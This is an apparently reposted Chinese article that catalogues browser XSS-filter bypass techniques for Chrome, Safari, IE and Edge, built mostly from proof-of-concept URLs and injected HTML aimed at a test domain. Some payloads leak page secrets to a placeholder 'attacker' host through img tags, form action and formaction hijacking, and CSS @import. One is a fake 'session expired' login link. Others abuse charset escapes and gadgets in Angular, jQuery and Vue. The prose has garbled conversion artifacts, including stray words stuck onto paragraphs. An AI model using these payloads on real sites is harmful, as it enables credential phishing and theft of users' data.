XSS命令

做者:二向箔安全
連接:https://www.zhihu.com/question/20941818/answer/180842222
來源:知乎
著做權歸做者全部。商業轉載請聯繫做者得到受權,非商業轉載請註明出處。

XSS,即跨站腳本攻擊,是Web程序中常見的漏洞,其原理是惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入其中的Script代碼會自動執行,從而達到惡意攻擊用戶的目的。爲了防止這些惡意攻擊的發生,如今用戶所使用的瀏覽器內核中通常都有XSS Filter(除Firefox外)。javascript

衆所周知,XSS共有三種類型,分別是:反射型、存儲型和DOM Based XSS。接下來就爲你們簡單介紹一下這三種類型的XSS。css

第一類:反射型XSS,當咱們在訪問一個網頁的時候,在URL後面加上必定的參數,瀏覽器變會返回不一樣的執行結果。但若是咱們在IE/Chrome/Safari中嘗試這種操做,瀏覽器可能會顯示如下消息:「爲幫助阻止跨站點腳本,已修改此頁面。」,窗口也沒法彈出。這就體現出了瀏覽器內核中Filter的功能。html

第二類:存儲型XSS,它常見於支持用戶互動的Web應用,如微博、留言板等。用戶提交到應用程序裏的數據會永久性的保存在後端數據庫中,若是沒有通過HTML編碼,當用戶瀏覽了包含惡意代碼的頁面以後(這個頁面一般是用戶會主動訪問的頁面),便會受到相應攻擊,這也使得存儲型XSS比反射型XSS更不易被識別。前端

第三類:DOM Based XSS,首先,用戶請求一個包含JavaScript的特殊URL,會由攻擊者提交。而後服務器響應裏不會包含攻擊者的腳本,當用戶的瀏覽器處理該響應時,這段攻擊代碼被前端JS裏的DOM處理操做引起。它與反射型XSS相似,都須要由攻擊者設計一個包含惡意代碼的URL並誘導用戶訪問,再經瀏覽器響應惡意代碼執行後的操做。vue

XSS Auditor,是一個被加入在了瀏覽器內核中的安全功能。本篇將爲你們講述如何繞過瀏覽器中的 XSS Auditor 進行腳本攻擊,但願能給你們一些幫助,主要是在Chrome/ Safari/IE11/ Edge瀏覽器中進行操做的。html5

發生在一個字符串中的XSSjava

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
<script>var q="";alert(1)//"</script>

URL單獨成立的XSS(如輸入值直接進入a標籤的href部分)jquery

https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)git

<a href="javascript:alert(1)">Link</a>

頁面有2個以上的注入點github

https://vulnerabledoma.in/bypass/text?type=2&amp;amp;amp;amp;q=%60-alert(1)%3C/sc

ript%3E%3Cscript%3E%60

<div>`-alert(1)</script><script>`</div> <div>`-alert(1)</script><script>`</div>

字符串的相關操做

當字符串的一部分被替換或刪除時,它不能被切斷並放置在字符串之間。

被刪除時的payload:

https://vulnerabledoma.in/bypass/text?type=6&amp;amp;amp;amp;q=%3Csvg%20o%3Cscrip

t%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>

<svg onload=alert(1)>

被置換時的payload:

https://vulnerabledoma.in/bypass/text?type=7&amp;amp;amp;amp;q=%3Cscript%3E/%26/-alert(1)%3C/s

cript%3E

<script>/&/-alert(1)</script>

<script>/&/-alert(1)</script>

基於DOM 的XSS和其餘document.write()的請求字符串

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20o

nerror=alert(1)%3E

<body> <script> hash=location.hash.slice(1); document.body.innerHTML=decodeURIComponent(hash); </script> </body>

在XML頁的XSS

https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http:

//http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

<?xml version="1.0"?>

<html>

<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

</html>

應當指出,寫在頁面 Content-Type 頂部的字符串若是未被正確的指定,根據Content

Sniffing XML也能夠 bypass。

https://vulnerabledoma.in/bypass/text?mime=unknown&amp;amp;q=%3C?xml%20ve rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh tml%22%3Ealert(1)%3C/script%3E <?xml version="1.0"?> <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

這裏沒有腳本,可是有已被容許的說明,它們可能用於必定程度上的攻擊。


http(s)∶建立一個連接

https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attac

ker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E

<a href=https://attacker/>Session expired. Please login again.</a>

竊取token

例如,你能夠經過使用引號(不關閉一側)等,則有

可能包含機密信息的請求,如圖像的情

況。

https://vulnerabledoma.in/bypass/text?type=8&amp;amp;amp;amp;q=%3Cimg%20src=%22ht

tps://attacker/?data=

<p><img src="https://attacker/?data=</p> <p>This is a secret text.</p> <p id="x">AAA</p>

任意 CSS 引用

這樣不只掩蓋了頁面的外觀,並且若是在同一頁面上包含的機密信息,只使用CSS即可能獲

得此信息。詳細參照URL。

參考URL:

http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt http://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html https://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
<style>@import '//attacker/test.css'</style>

<object>和<param name=url/code>的BYPASS (僅Chrome)

攻擊可能條件:

1.任何一個能夠XSS的標籤

2.在目標環境下Flash能利用

參考URL:

http://masatokinugawa.l0.cm/2016/12/xss12.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptac

cess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3

E

<object allowscriptaccess=always> <param name=code value=https://l0.cm/xss.swf>

SVG動畫的屬性的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

參考URL:

https://bugs.chromium.org/p/chromium/issues/detail?id=709365

PoC(Chrome):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20hre

f=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:ale

rt(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E

%3C/a%3E

<svg> <animate href=#x attributeName=hrefvalues= javascript:alert(1) /> <a id=x><rect width=100 height=100 /></a>

PoC(Safari):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xli

nk%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3

000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3

E%3C/a%3E

<svg xmlns:xlink=http://www.w3.org/1999/xlink> <animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" /> <a id=x><rect width=100 height=100 /></a>

base標籤與Flash的利用(僅Safari)

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.後面跟有whitespace符號或是單雙引號的狀況

3.在目標範圍當中可以利用此flash

參考URL:

http://masatokinugawa.l0.cm/2016/05/xss8.html

PoC:

(後面沒有whitespace符號的狀況)

https://vulnerabledoma.in/bypass/text?type=3&amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

(後面有whitespace的狀況)

https://vulnerabledoma.in/bypass/text?type=4&amp;amp;amp;amp;q=%3Cembed%20allowsc

riptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

<div> <embed allowscriptaccess=always src=/xss.swf> <base href="//l0.cm/ </div><div id="x"></div>

加載相對 url 腳本

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.後面跟有whitespace符號或是單雙引號的狀況

3.後面有附在相對URL的腳本的部分

PoC:

https://vulnerabledoma.in/bypass/text?type=9&amp;amp;amp;amp;q=%3Cbase%20href=//c

ors.l0.cm/

<div><base href=//cors.l0.cm/</div> <script src=/test.js></script>

ISO-2022-JP的轉義序列的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.此頁沒有指定的字符編碼

參考URL:

https://bugs.chromium.org/p/chromium/issues/detail?id=114941 https://l0.cm/encodings/test3/

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(B

nload=alert(1)%3E

<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>

(由於※$記號不會像預期的那樣自由移動,將經過包含$重定向的方法進行編碼)

https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>

連接與base標籤的使用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

1.後面跟有whitespace符號的狀況

2.後面跟有單雙引號的狀況

參考URL:

l https://bugs.chromium.org/p/chromium/issues/detail?id=719962

PoC:

https://vulnerabledoma.in/bypass/text?type=4&amp;amp;amp;amp;q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:\
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>

同一域名資源的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.此頁面顯示不須要進行查詢

PoC:

https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E
PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">

文件上傳功能

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2使用同一主機上用戶上傳的文件做爲攻擊向量,如,用戶頭像等。

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
<script src=/bypass/usercontent/xss.js></script>

(僅Chrome)

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E
<link rel=import href=/bypass/usercontent/icon.jpg>

Flash和flashvars的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.相同起源的ExnternalInterface.call()中的參數字符串還未傳遞到Flash中

3.Flash可在目標環境下利用

補充:

你能夠將參數傳遞給 flashvars 屬性,即便Flash 中沒有它們的查詢參數。(=在Flash方面,它能夠在FlashVars傳遞,即便從URL傳遞做爲XSS的措施,由於要直接打開的參數Flash是有限的。)另外,Content-Security-Policy: default-src 'self'例如,當存在CSP等,它也能夠用於繞過CSP。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&amp;amp;amp;amp;q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
<embed name=a flashvars='autoplay=true&file="})\")- (alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);

Flash中的ExternalInterface.objectID和ExternalInterface.call()的利用

攻擊可能的條件:

1.任何一個能夠XSS的標籤

2.有相同的起源ExternalInterface.objectID中的一個Flash傳遞到ExternalInterfae.call

3.可在目標環境下利用

補充:

ExternalInterface.objectID是用於嵌入標籤的name屬性的屬性值是由本身設定的,但此時並不能單獨使用xss,旁路是惟一的繞過方式。順便說起,Content-Security-Policy: default-src 'self'例如,當存在這樣的CSP的限制,它也能夠用於繞過CSP。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&amp;amp;amp;amp;q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call(ExternalInterface.objectID + '_init');

Angular的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.與目標站同源、AngularJS文件存放的主機、CDN下的CORS頁面加載AngularJS

補充:

Angular在有ng-app這個屬性的標籤內想要展開{{}}被包圍的模板,此模板能運行該腳本。參考URL:

l http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}

在與目標站同源的狀況下,有從與CORS相對應的CDN裝載Angular的頁面,從HTML Imports間接地鏈接外部origin的資源。

(僅Chrome)

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}


Vue.js的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤2.

2.與目標站同源、VueJS文件存放的主機、CDN下的CORS頁面加載AngularJS3.

3.與目標站同源的可運行的模板的擴展腳本存在於網頁或指定的標籤

PoC:

(僅Chrome) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}

jQuery的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.與目標站同源、jQuery文件存放的主機、CDN下的CORS頁面加載AngularJS

3.與目標站同源的頁面上存在着from標籤能實行jQuery的系統函數的腳本 補充:

jQuery的附加系統功能:after,before,prepend,append,html,replaceWith,wrap,wrapAll,insertBefore,insertAfter,prependTo,appendTo等。因爲使用有ownerDocument這個name屬性的形式,Node.在ownerDocument的參照處,不使之實行原本腳本的場面實行的(這樣的手法被稱爲DOM Clobbering而爲人所知)。而且,實行前,腳本塊<!有刪除--的處理和,Auditor繞過發生結合的過程,且不切斷此過程。

參考URL:

https://sirdarckcat.github.io/csp/jquery.html

PoC:

https://vulnerabledoma.in/bypass/text?type=5&amp;amp;amp;amp;q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E
<!DOCTYPE html> <html> <head> <script src="/js/jquery-3.2.1.min.js"></script> <script>$(document).ready(function(){    // code taken from http://api.jquery.com/after/    $( ".container" ).after( $( ".child" ) );});</script> </head> <body><!-- XSS --> <form class=child><input name=ownerDocument><script><!--alert(1)</script></form><!-- XSS --> <p class="container"></p> </body><!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html --> </html>

(僅Chrome)

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/jquery.html%3E%3Cp%20class=container%3E%3C/p%3E%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>

Underscore.js的利用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.與目標站同源、Underscore.js文件存放的主機、CDN下的CORS頁面加載AngularJS 3.在同一塊兒源下,可運行的模板的擴展腳本出如今頁面上或以指定的腳本標記上

PoC:

(僅Chrome) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/underscore.html%3E%3Cscript%20id=template%3E//%3C%alert&amp;amp;amp;#x60;1&amp;amp;amp;#x60;%%3E%3C/script%3E

<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>

JSX轉換腳本,如JSXTransformer/babel-standalone的應用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.與目標站同源、Underscore.js文件中存放的JSX變換腳本、CDN下的CORS頁面加載AngularJS 補充:

HTML和JS都有註釋符<!-- -->,這個trick是利用註釋符在<svg>的<script>標籤中的時候會被優先處理解析。就是說,在沒有<svg>的時候<script><!-- xxx --></script> 會被解析爲 JS 註釋符,<svg><script><!-- xxx --></script> 會被解析爲HTML註釋符號。

PoC:

(僅Chrome) https://vulnerabledoma.in/bypass/text?charset=utf-8&amp;amp;amp;amp;type=1&amp;amp;amp;amp;q=%3Clink%20rel=import%20href=/bypass/babel-standalone.html%3E%3Csvg%3E%3Cscript%20type=%22text/jsx%22%3E//%3C!--%0aalert(1)//--%3E%3C/svg%3E%3Cscript%3E0%3C/script%3E

<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--alert(1)//--></svg><script>0</script>

From表單標籤的使用

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.把一個新的from標籤的位置,成爲現有表單內容的目的地,其中包括機密信息

參考URL:

https://bugs.chromium.org/p/chromium/issues/detail?id=719092

PoC:

(在這種狀況下)https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form"> <input type="hidden" name="q" value=""></form><form action=https://attacker/"><input type="hidden" name="secret" value="a09d3ef0"><input type="submit"></form>

(不在這種狀況下)https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/

<div><button form=f>CLICK<form id=f action=https://attacker/</div> <form action="form2"> <input type="hidden" name="secret" value="a09d3ef0"> </form>

IE/Edge的XSS過濾器


不封閉的目標站


XSS字符串測試

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation=&amp;amp;amp;#x27;javascript\x3Aalert\x281\x29&amp;amp;amp;#x27;//
<script>var q="";location='javascript\x3Aalert\x281\x29'//"</script>

全部基於DOM的XSS

https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)%3E

<script> hash=location.hash.slice(1); document.write(decodeURIComponent(hash)); </script>

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body> <script>hash=location.hash.slice(1); document.body.innerHTML=decodeURIComponent(hash); </script> </body>

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script> location.href=decodeURIComponent(location.hash.slice(1)); </script>

此頁面有2個以上的注入點的XSS

https://vulnerabledoma.in/bypass/text?type=2&amp;amp;amp;amp;q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22
<div>"src=data:,alert%281%29></script><script x="</div> <div>"src=data:,alert%281%29></script><script x="</div>

字符串的操做狀況

當字符串的一部分被替換或刪除,它不能被切斷並放置在串之間。 被刪除時的payload:上文已提到。

被替換時:

過濾器中,在由正則表達式過濾的位置,在給定的寬度下進行進一步的置換操做時將不會被中斷。在如下的狀況下,爲了不匹配於所述截止條件<SC{R} IPT。*?>,咱們正在使用的操做和過分取代。/是0-3的字符,由於&是0-5字符通配符,8個字符,是可被關閉的最大寬度。安培;;替換字符串長度後/&安培輸出爲10個字符,它不會被阻止,由於超過了8個字符的寬度。

PoC:

https://vulnerabledoma.in/bypass/text?type=10&amp;amp;amp;amp;q=%3Cscript/%26%3Ealert(1)%3C/script%3E
<script/&>alert(1)</script>

<script/&amp;>alert(1)</script>

如下不是致使腳本執行,描述的是容許的,那些具備潛在用途有所攻擊。


Bypass XML namespace假裝的字符串的利用(僅Edge)

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.在目標環境下Flash可啓用

3.X-XSS-Protection:1; mode-block,無header

補充:

Edge附有XML namespace的標籤也能封閉。<embed/:script普通的HTML使用中所說的script字符串,原本應該被解釋爲一個embed標籤,也可解釋爲一個script標籤,它沒法關閉。因爲中斷動做將發生,X-XSS-Protection∶附有1; mode-blockheader ,此類狀況被視爲繞過失敗。參考URL:

http://masatokinugawa.l0.cm/2016/12/xss9.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>


轉義字符串(escape sequence)的利用,如HZ-GB-2312

攻擊的可能條件:

1.任何一個能夠XSS的標籤

2.Content-Typeheader沒有指定的字符編碼

參考URL:

http://masatokinugawa.l0.cm/2015/09/xss7.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

<x~ onfocus=alert(1) id=a tabindex=0>

在跳轉時使用的編碼操做

攻擊的可能條件:

1.此處是 GET 方式的反射型 XSS

參考URL:

http://masatokinugawa.l0.cm/2017/05/xss14.html

PoC:

https://l0.cm/bypass/ie_x-chinese-cns_text.html
<meta charset=utf-8> <script>  document.charset="x-chinese-cns";  location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)<\/script/旡"</script>

(當屬性值爲 XSS 時)

Https://L0.Cm/bypass/ie_x-chinese-cns_attribute.Html
<meta charset=utf-8> <script> document.charset="x-chinese-cns"; location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//" </script>

因爲其餘字符編碼被髮送到編碼字符串中,而且引發了實際的差別。

https://l0.cm/bypass/ie_hz_text.html https://l0.cm/bypass/ie_hz_attribute.html https://l0.cm/bypass/ie_iso2022jp_text.html https://l0.cm/bypass/ie_iso2022jp_attribute.html

Adobe Acrobat Reader插入的利用(僅IE)

攻擊的可能條件:

1.有經過POST請求的XSS 2.在目標環境下使用Adobe Acrobat Reader軟件

參考URL:

http://insert-script.blogspot.com/2017/01/complete-internet-explorer-xss-filter.html

PoC:

https://l0.cm/bypass/ie_postxss_bypass.pdf

XML中的Content Sniffing的利用(僅IE)

攻擊可能的條件:

1.任何一個能夠XSS的標籤

2.X-Content-Type-Options∶沒附有nosniff

3.能夠從頁面頂部描述字符串

參考URL:

https://twitter.com/0x6D6172696F/status/753647521050849280

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E
<?xml version="1.0"?> <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

UTF-7 BOM的使用(僅IE)

攻擊的可能條件:

1.能夠從頁面頂部描述字符串

2.+,/,- 記號能被容許編寫

PoC:

(頁面沒有指定字符編碼的狀況) https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-

+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-

(頁面有指定字符編碼的狀況)

https://l0.cm/bypass/ie_utf7.html
<script>function go(){  window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a");  setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);}</script> <button onclick=go()>go</button>

<?PXML>使用(僅IE)

攻擊的可能條件:

1.有反射型的XSS

2.不出現三個以上的注入點

3.該頁面的文檔模式是否被設置爲IE9或更小,由於框架填充只能設置在IE9及如下。

參考URL:

http://masatokinugawa.l0.cm/2017/05/xss13.html

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&amp;amp;amp;amp;xuac=9

<?PXML><html:script>alert(1)</html:script>


引用的應用

IE/Edge的XSS過濾器,在一樣的域名(包括子域名)或localhost的Referer標頭附有的狀況下,不驅動XSS過濾器。當你能找到來源的的時候,就能夠繞過了。


在同一個域中使用連接功能(包括子域)

攻擊可能的條件:

1.有反射型的XSS

2.在同一個域(包括子域)建立XSS的連接頁面

PoC:

https://vulnerabledoma.in/bypass/same-domain-link.html https://www.vulnerabledoma.in/bypass/same-domain-link.html

<a href="https://vulnerabledoma.in/bypass/text?q=<script>alert(1)</script>">Click HERE</a>


在能制定任意的URL的地方的繞過

攻擊可能的條件:

1.連接反射型的XSS可能的地方

補充:

再易受攻擊的地方兩重連接起來引用、javascript:您能夠建立一個連接到一個URL沒有XSS過濾器反應。

PoC:

https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
<a href="?q=javascript%3Aalert(1)">Link</a>

能在頁面上保持易受攻擊的表單發送前的狀態

攻擊可能的條件:

1. 有反射型的XSS

2. 能在同樣的域名(包括子域名)頁面上保持易受攻擊的表單發送前的狀態

PoC:

https://vulnerabledoma.in/bypass/form?q=%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E
<form action="form"> <input type="hidden" name="q" value=""><script>alert(1)</script>"> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>

option 標籤的使用

攻擊可能的條件:

1.任何一個能夠XSS的標籤

2.在原有的形式內有那個XSS

參考URL:

https://html5sec.org/xssfilter/entities

PoC:

https://vulnerabledoma.in/bypass/form3?q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E
<form action=submit> <button formaction=form3>CLICK<select name=q><option><script>alert(1)</script> </form>

空白iframe的使用

攻擊可能的條件:

1.任何一個能夠XSS的標籤

2.容許頁面嵌入框架

補充:

XSS建立一個空的iframe,在那個框架上寫腳本的URL導航,經過本身易受攻擊的域名來繞道。

參考URL:

http://www.cracking.com.ar/bugs/2016-07-14/

PoC:

https://l0.cm/bypass/ieedge_iframe.html
<!-- Found by @magicmac2000 --> <iframe onload="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'" src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>

假裝錯誤的使用(僅Edge)

攻擊可能的條件:

1.有反射型的XSS

參考URL:

https://www.brokenbrowser.com/referer-spoofing-patch-bypass/

PoC:

https://l0.cm/bypass/edge_referer_spoofing.html

formaction的使用(信息的取得)

攻擊可能的條件:

1.有反射型的XSS

2.能在含祕密信息的原有形式內容發送前的位置,創建一個新的formaction屬性

PoC:

https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E
<form action="form"> <input type="hidden" name="q" value=""><button formaction=//attacker/>"> <input type="hidden" name="secret" value="a09d3ef0"> <input type="submit"> </form>


style字符串的利用

攻擊可能的條件:

1.有反射型的XSS

2.存在可經過CSS攻擊的狀況

參考URL:

https://twitter.com/0x6D6172696F/status/752190911879184384 http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt https://blog.innerht.ml/cascading-style-scripting/

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport&amp;amp;amp;#x27;//attacker&amp;amp;amp;#x27;%3C/style%3E
<svg><style>@import'//attacker'</style>
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E@%26bsol%3B0069mport%27//attacker%27%3C/style%3E
<svg><style>@\0069mport'//attacker'</style>

(IE+IE10模式) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=&amp;amp;amp;quot;behavior%26colon%3Burl(&amp;amp;amp;#x27;/bypass/usercontent/xss.txt&amp;amp;amp;#x27;)&amp;amp;amp;quot;%3Etest&amp;amp;amp;amp;xuac=10

<p style="behavior:url('/bypass/usercontent/xss.txt')">

(IE+IE10模式) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=&amp;amp;amp;quot;behavior:url%26lpar%3B&amp;amp;amp;#x27;/bypass/usercontent/xss.txt&amp;amp;amp;#x27;)&amp;amp;amp;quot;%3Etest&amp;amp;amp;amp;xuac=10

<p style="behavior:url('/bypass/usercontent/xss.txt')">
相關文章
相關標籤/搜索